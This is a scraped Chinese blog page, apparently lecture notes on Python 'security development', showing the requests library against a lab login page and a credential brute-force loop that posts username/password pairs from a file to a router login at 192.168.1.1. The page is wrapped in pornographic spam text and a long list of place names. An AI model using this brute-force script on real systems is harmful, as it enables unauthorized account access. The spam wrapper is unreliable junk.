无码av一区二区三区无码,在线观看老湿视频福利,日韩经典三级片,成 人色 网 站 欧美大片在线观看

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

python3安全開發(fā) 20230623

2023-06-23 21:33 作者:__Rebel__  | 我要投稿

講義內(nèi)容:(記得看簡(jiǎn)介[脫單doge])


python3 requests http客戶端

http://175.24.116.98:2222/login.php


?python3 -m pip install requests


import requests


response=requests.get("http://175.24.116.98:2222/login.php")

print(response.status_code)


response.url

response.text

response.status_code


嘗試登陸發(fā)送登錄請(qǐng)求包


1:如何發(fā)送POST數(shù)據(jù)?

response=requests.post("http://175.24.116.98:2222/login.php")

response=requests.request(method="POST",url="http://175.24.116.98:2222/login.php")

response=requests.post("http://175.24.116.98:2222/login.php",data="username=admin&password=666666&Login=Login&user_token=7cb1b8b72e8b5b549d9749a176734cee")


line.strip()的作用:用于處理line中的無效字符(\n?\r) =>?line.replace("\n","")



import requests


headers={

???"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0",

???"Cookie": "security=impossible; PHPSESSID=6l8bpi0sui3hc2rmqnq02l24sr"

???}


_file=open("userPasswd.txt")

userPasswd=[ line.strip() for line in _file.readlines()]

print(userPasswd)


userPasswd= [ i.split(":") for i in userPasswd ]

print(userPasswd)

for user, passwd in userPasswd:

???response=requests.post("http://192.168.1.1",

???????????data=f"frashnum=&action=login&Frm_Logintoken=14&Username={user}&Password={passwd}",

???????????headers=headers)

???print(f"[*] {response}?{user} {passwd}"

???if response.status_code==200:print("login failed")

???if response.status_code==302:print("login success!")


headers是鍵值的形式

requests的方法中headers參數(shù)就可以指定字典


Accept-Encoding:gzip, deflate

鍵:值

{"Accept-Encoding":"gzip, deflate"}




cookie和token可以放一起講的

作用都是作為臨時(shí)登錄令牌

python3安全開發(fā) 20230623的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國家法律
宜宾县| 芜湖市| 昂仁县| 沙雅县| 榆树市| 五寨县| 奇台县| 独山县| 增城市| 靖安县| 佛教| 眉山市| 建昌县| 巴林左旗| 甘肃省| 广宁县| 北票市| 汶上县| 涞源县| 彭山县| 博乐市| 南宫市| 晴隆县| 太仆寺旗| 苍溪县| 丽水市| 潼关县| 奉节县| 山阴县| 焦作市| 崇信县| 长丰县| 灌南县| 衡东县| 略阳县| 吉林省| 岢岚县| 定远县| 濮阳县| 上思县| 镇雄县|